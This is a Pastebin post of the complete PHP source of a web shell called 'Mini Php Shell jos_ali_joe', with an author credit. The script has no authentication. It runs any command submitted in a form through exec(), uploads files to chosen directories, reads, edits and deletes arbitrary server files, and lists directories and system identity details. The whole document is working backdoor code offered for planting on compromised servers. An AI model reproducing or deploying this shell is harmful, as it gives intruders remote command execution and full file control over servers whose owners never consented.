Hexlook

mini.php

Dec 20th, 2016
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 7.99 KB | None | 0 0
  1. <html>
  2.  
  3. <head>
  4.  
  5. <title>Mini Php Shell jos_ali_joe</title>
  6.  
  7. <style type="text/css">
  8.  
  9. a {
  10.  
  11. text-decoration: none;
  12.  
  13. display: block;
  14.  
  15. }
  16.  
  17.  
  18.  
  19. a img {
  20.  
  21. border: 0;
  22.  
  23. }
  24.  
  25.  
  26.  
  27. #view tr:hover {
  28.  
  29. background-color: #FFFFFF;
  30.  
  31. }
  32.  
  33.  
  34.  
  35. input {
  36.  
  37. font-family: Courier New, Courier, Fixed;
  38.  
  39. font-size: 15px;
  40.  
  41. background-color: #FFFFFF;
  42.  
  43. color: #000000;
  44.  
  45. }
  46.  
  47.  
  48.  
  49. input:hover {
  50.  
  51. background-color: #000000;
  52.  
  53. }
  54.  
  55.  
  56.  
  57. textarea {
  58.  
  59. font-family: Courier New, Courier, Fixed;
  60.  
  61. font-size: 15px;
  62.  
  63. background-color: #FFFFFF;
  64.  
  65. color: #000000;
  66.  
  67. }
  68.  
  69.  
  70.  
  71. body {
  72.  
  73. font-family: Courier New, Courier, Fixed;
  74.  
  75. font-size: 10px;
  76.  
  77. color: #FFFFFF;
  78.  
  79. }
  80.  
  81.  
  82.  
  83. table#bordered {
  84.  
  85. border: 1px solid #FFFFFF;
  86.  
  87. background-color: #000;
  88.  
  89. font-family: Courier New, Courier, Fixed;
  90.  
  91. font-size: 15px;
  92.  
  93. color: #FFFFFF;
  94.  
  95. }
  96.  
  97.  
  98.  
  99. form#post {}
  100.  
  101.  
  102.  
  103. #post .buttons {
  104.  
  105. background-color: transparent;
  106.  
  107. font-family: Arial;
  108.  
  109. font-size: 15px;
  110.  
  111. color: #777;
  112.  
  113. border: 0;
  114.  
  115. }
  116.  
  117.  
  118.  
  119. #cell {
  120.  
  121. border-bottom: 1px #FFFFFF dotted;
  122.  
  123. }
  124.  
  125. </style>
  126.  
  127. </head>
  128.  
  129.  
  130.  
  131. <body bgcolor="#000000"
  132. background="http://sphotos.ak.fbcdn.net/hphotos-ak-snc4/hs1338.snc4/163084_194272833919515_100000103989299_786756_1
  133. 673828_n.jpg" link="#444444" vlink="#444444">
  134.  
  135. <h1 style='color: #fff'><u><a href="<?php print $_SERVER['PHP_SELF']; ?>"
  136. style="color: #fff">
  137.  
  138. Mini Php Shell jos_ali_joe V27.9</a></u></h1>
  139.  
  140. <p style="color: #fff">Coded by jos_ali_joe<br><br># web: <u><a
  141. http://explorecrew.org/" style="display: inline;
  142.  
  143. color: #fff">http://explorecrew.org/</a></u><br> # Contact : [email protected]
  144. </u></p><br>
  145.  
  146.  
  147.  
  148. <table border=0 id="bordered">
  149.  
  150.  
  151.  
  152. <?php
  153.  
  154. function getperms($f) {
  155.  
  156. $mode=fileperms($f);
  157.  
  158.  
  159.  
  160. $perm='';
  161.  
  162. $perm .= ($mode & 00400) ? 'r' : '-';
  163.  
  164. $perm .= ($mode & 00200) ? 'w' : '-';
  165.  
  166. $perm .= ($mode & 00100) ? 'x' : '-';
  167.  
  168. $perm .= ($mode & 00040) ? 'r' : '-';
  169.  
  170. $perm .= ($mode & 00020) ? 'w' : '-';
  171.  
  172. $perm .= ($mode & 00010) ? 'x' : '-';
  173.  
  174. $perm .= ($mode & 00004) ? 'r' : '-';
  175.  
  176. $perm .= ($mode & 00002) ? 'w' : '-';
  177.  
  178. $perm .= ($mode & 00001) ? 'x' : '-';
  179.  
  180.  
  181.  
  182. return $perm;
  183.  
  184. }
  185.  
  186.  
  187.  
  188. print "<tr><td>~ host
  189. </td><td><b>".$_SERVER['SERVER_NAME']."</b></td></tr>";
  190.  
  191. print "<tr><td>~ server
  192. </td><td><b>".$_SERVER['SERVER_SOFTWARE']."</b></td></tr>";
  193.  
  194. if (is_callable("php_uname"))
  195.  
  196. print "<tr><td>~ os
  197. </td><td><b>".php_uname()."</b></td></tr>";
  198.  
  199.  
  200.  
  201. if (is_callable("posix_getuid") and is_callable("posix_getgid")) {
  202.  
  203. $uid=posix_getuid();
  204.  
  205. $uname=posix_getpwuid($uid);
  206.  
  207. $uname=$uname['name'];
  208.  
  209.  
  210.  
  211. $gid=posix_getgid();
  212.  
  213. $gname=posix_getgrgid($gid);
  214.  
  215. $gname=$gname['name'];
  216.  
  217.  
  218.  
  219. print "<tr><td>~ uid </td><td><b>$uid
  220. ($uname)</b></td></tr>";
  221.  
  222. print "<tr><td>~ gid </td><td><b>$gid
  223. ($gname)</b></td></tr>";
  224.  
  225. }
  226.  
  227.  
  228.  
  229. print "</table><br><br>";
  230.  
  231.  
  232.  
  233. if (!isset($_POST['file'])) {
  234.  
  235. ?>
  236.  
  237.  
  238.  
  239. <table border=0 style="font-size: 12px">
  240.  
  241.  
  242.  
  243. <form enctype="multipart/form-data" action="<?php print $_SERVER['REQUEST_URI']; ?>"
  244. method="POST">
  245.  
  246. <input type="hidden" name="MAX_FILE_SIZE" value="200000000"/>
  247.  
  248. <input type="hidden" name="do_upload" value="true">
  249.  
  250. <tr><td>&gt; Upload Data</td></tr>
  251.  
  252. <tr><td><input type="file" name="userfile"/></td></tr>
  253.  
  254. <tr><td><input type="submit" value="> send"/></td></tr>
  255.  
  256. </form>
  257.  
  258.  
  259.  
  260. <tr><td height="20px"></td></tr>
  261.  
  262.  
  263.  
  264. <form action="<?php print $_SERVER['REQUEST_URI']; ?>" method="POST">
  265.  
  266. <tr><td>> Comand</td></tr>
  267.  
  268. <tr><td><input type="text" name="cmd"></td></tr>
  269.  
  270. <tr><td><input type="submit" value="> execute cmd"></td></tr>
  271.  
  272. </form>
  273.  
  274. </table>
  275.  
  276.  
  277.  
  278. <?php
  279.  
  280. }
  281.  
  282.  
  283.  
  284. #
  285.  
  286. # Upload di file
  287.  
  288. #
  289.  
  290. if ($_POST['do_upload']==="true") {
  291.  
  292. if ($_POST['dir']=="true")
  293.  
  294. $dir=$_POST['dirname'];
  295.  
  296. else
  297.  
  298. $dir=getcwd();
  299.  
  300.  
  301.  
  302. $uploadfile=$dir."/".basename($_FILES['userfile']['name']);
  303.  
  304.  
  305.  
  306. if (move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile)) {
  307.  
  308. print "File successfully loaded<br>\n";
  309.  
  310. print "~ file name: <b>".$_FILES['userfile']['name']."</b><br>".
  311.  
  312. "\n~ type: ".$_FILES['userfile']['type']."<br>\n".
  313.  
  314. "~ size: ".$_FILES['userfile']['size']." bytes<br>\n";
  315.  
  316. }
  317.  
  318.  
  319.  
  320. else print "$ Error while loading ".$_FILES['userfile']['name']."<br>\n";
  321.  
  322. }
  323.  
  324.  
  325.  
  326. #
  327.  
  328. # Modifica o cancellazione di file
  329.  
  330. #
  331.  
  332. if (isset($_POST['dofile'])) {
  333.  
  334. $ref=$_SERVER['HTTP_REFERER'];
  335.  
  336. $fname=htmlentities($_POST['dofile']);
  337.  
  338. $content=$_POST['content'];
  339.  
  340.  
  341.  
  342. #
  343.  
  344. # Modifica
  345.  
  346. #
  347.  
  348. if (isset($_POST['save'])) {
  349.  
  350. if (!($fp=fopen($fname,"w")))
  351.  
  352. die ("$ Unable to write to <b>$fname</b><br>\n");
  353.  
  354.  
  355.  
  356. fputs ($fp,$content);
  357.  
  358. fclose($fp);
  359.  
  360.  
  361.  
  362. print ("File <b>$fname</b> successfully updated<br><br>\n");
  363.  
  364. }
  365.  
  366.  
  367.  
  368. #
  369.  
  370. # Cancellazione
  371.  
  372. #
  373.  
  374. if (isset($_POST['remove'])) {
  375.  
  376. unlink ($fname) or die ("$ Unable to remove <b>$fname</b><br>\n");
  377.  
  378. print "<b>$fname</b> successfully removed<br><br>\n";
  379.  
  380. }
  381.  
  382. }
  383.  
  384.  
  385.  
  386. #
  387.  
  388. # Esecuzione di un comando
  389.  
  390. #
  391.  
  392. if (isset($_POST['cmd'])) {
  393.  
  394. $cmd=$_POST['cmd'];
  395.  
  396. $output=array();
  397.  
  398. exec ($cmd,$output);
  399.  
  400.  
  401.  
  402. print "<br><hr height=1 width=\"100%\">\n";
  403.  
  404. print "# cmd output: <br><br><tt>";
  405.  
  406. print "<div style=\"border: 1px solid #FFFFFF; background-color: #000; padding: 10px\">\n";
  407.  
  408.  
  409.  
  410. foreach ($output as $line)
  411.  
  412. print "$line<br>\n";
  413.  
  414. print "</div></tt>\n";
  415.  
  416. die('');
  417.  
  418. }
  419.  
  420.  
  421.  
  422. #
  423.  
  424. # Visualizzazione di file
  425.  
  426. #
  427.  
  428. if (isset($_POST['fname'])) {
  429.  
  430. print "# Warning: editing or removing a file is only possible if you've got the privileges to do
  431. that<br><br>";
  432.  
  433.  
  434.  
  435. $fname=htmlentities($_POST['fname']);
  436.  
  437. $file=file($fname) or print "$ Unable to open <b>$fname</b><br>\n";
  438.  
  439.  
  440.  
  441. print "<form action=\"".$_SERVER['REQUEST_URI']."\" method=\"POST\">\n";
  442.  
  443. print "<input type=\"hidden\" name=\"dofile\" value=\"$fname\">\n";
  444.  
  445. print "<textarea rows=20 cols=80 name=\"content\">";
  446.  
  447.  
  448.  
  449. for ($i=0; $i<count($file); $i++)
  450.  
  451. print htmlentities($file[$i]);
  452.  
  453.  
  454.  
  455. print "</textarea><br><br>\n";
  456.  
  457. print "<input type=\"submit\" value=\"> Save file\"
  458. name=\"save\">\n";
  459.  
  460. print "<input type=\"submit\" value=\"> Delete file\"
  461. name=\"remove\">\n";
  462.  
  463. print "</form>\n";
  464.  
  465. }
  466.  
  467.  
  468.  
  469. #
  470.  
  471. # Visualizzazione del contenuto di una directory
  472.  
  473. #
  474.  
  475. if (isset($_POST['dirname']))
  476.  
  477. $path=htmlspecialchars($_POST['dirname']);
  478.  
  479. else
  480.  
  481. $path=getcwd();
  482.  
  483.  
  484.  
  485. $dp=opendir($path) or die("$ Unable to open <b>$path</b><br>\n");
  486.  
  487. chdir ($path);
  488.  
  489. $path=getcwd();
  490.  
  491.  
  492.  
  493. print "<div id=\"view\"><hr height=1 width=\"100%\">\n";
  494.  
  495. print "<font color=\"white\">&gt; cwd:
  496. <b>".getcwd()."</b></font><br><br>\n\n";
  497.  
  498. $dir=array();
  499.  
  500.  
  501.  
  502. while ($file=readdir($dp))
  503.  
  504. if (strcmp(".",$file))
  505.  
  506. array_push($dir,"$path/$file");
  507.  
  508.  
  509.  
  510. closedir($dp);
  511.  
  512. sort($dir);
  513.  
  514.  
  515.  
  516. ?>
  517.  
  518.  
  519.  
  520. <form name="post" id="post" action="<?php print $_SERVER['REQUEST_URI']; ?>"
  521. method="POST">
  522.  
  523. <table border=0 width="100%" style="border: 1px #FFFFFF solid; background-color: #000">
  524.  
  525. <?php
  526.  
  527. for ($i=0; $i<count($dir); $i++) {
  528.  
  529. print "<tr style='font-family: Arial; font-size: 11px;'>\n";
  530.  
  531.  
  532.  
  533. #
  534.  
  535. # Directory superiore
  536.  
  537. #
  538.  
  539. if (basename($dir[$i])==="..") {
  540.  
  541. $tmp=split('/',getcwd());
  542.  
  543. $new="";
  544.  
  545.  
  546.  
  547. for ($j=0; $j<count($tmp)-1; $j++)
  548.  
  549. $new .= $tmp[$j]."/";
  550.  
  551.  
  552.  
  553. print "<td width=\"40px\" id=\"cell\" style=\"font-size:
  554. 9px\">UP</td>\n";
  555.  
  556. print "<td id=\"cell\"><input type=\"submit\" name=\"dirname\"
  557. value=\"$new\" class=\"buttons\"></td></tr>\n";
  558.  
  559. }
  560.  
  561.  
  562.  
  563. #
  564.  
  565. # Directory
  566.  
  567. #
  568.  
  569. if (is_dir($dir[$i])) {
  570.  
  571. if (basename($dir[$i])!='..') {
  572.  
  573. print "<td width=\"40px\" id=\"cell\" style=\"font-size:
  574. 9px\">DIR</td>\n";
  575.  
  576. print "<td id=\"cell\"><input type=\"submit\" name=\"dirname\"
  577. value=\"".$dir[$i].
  578.  
  579. "\" class=\"buttons\"></td>\n";
  580.  
  581. print "<td id=\"cell\">DIR</td></tr>\n";
  582.  
  583. }
  584.  
  585. }
  586.  
  587.  
  588.  
  589. #
  590.  
  591. # File comune
  592.  
  593. #
  594.  
  595. else {
  596.  
  597. if (basename($dir[$i])!='..') {
  598.  
  599. print "<td width=\"40px\" id=\"cell\" style=\"font-size:
  600. 9px\">FILE</td>\n";
  601.  
  602. print "<td id=\"cell\"><input type=\"submit\" name=\"fname\"
  603. value=\"$dir[$i]\" class=\"buttons\"></td>\n";
  604.  
  605. print "<td id=\"cell\">".getperms($dir[$i])."</td></tr>\n";
  606.  
  607. }
  608.  
  609. }
  610.  
  611. }
  612.  
  613.  
  614.  
  615. print "</table></div>\n";
  616.  
  617. ?>
  618.  
  619.  
  620.  
  621. </body>
  622.  
  623. </html>
Advertisement
Add Comment
Please, Sign In to add comment